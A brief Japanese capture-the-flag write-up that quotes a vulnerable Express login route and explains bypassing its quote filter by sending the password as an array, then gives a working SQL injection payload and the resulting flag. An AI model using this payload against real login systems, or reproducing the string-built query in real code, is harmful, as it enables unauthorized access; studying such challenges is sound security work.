SQL Injectionっぽい。
app.post('/login', (req, res) => { if (!req.body.username || !req.body.password) { return res.redirect('/'); } if ([req.body.username, req.body.password].some(v => v.includes('\''))) { return res.redirect('/'); } // see if user is in database const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}' `;
SQLiを試そうとするが\
でフィルタリングがかかっている。
これをバイパスして、かつ、SQL文に適切にインジェクションできないか。
配列攻撃
パラメタを配列化することで攻撃しよう。
password[]とすることでreq.body.passwordに配列を与えることができる。
これで、フィルタリング部分では文字列について含まれるかと判定されている所を配列について含まれるかの判定となり、バイパスできる。
あとは配列の要素が1つの場合はToStringしても内容は変わらないので、インジェクションコードを入れると攻撃完了。
username=admin&password[]='%20OR%20''%3d'
dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}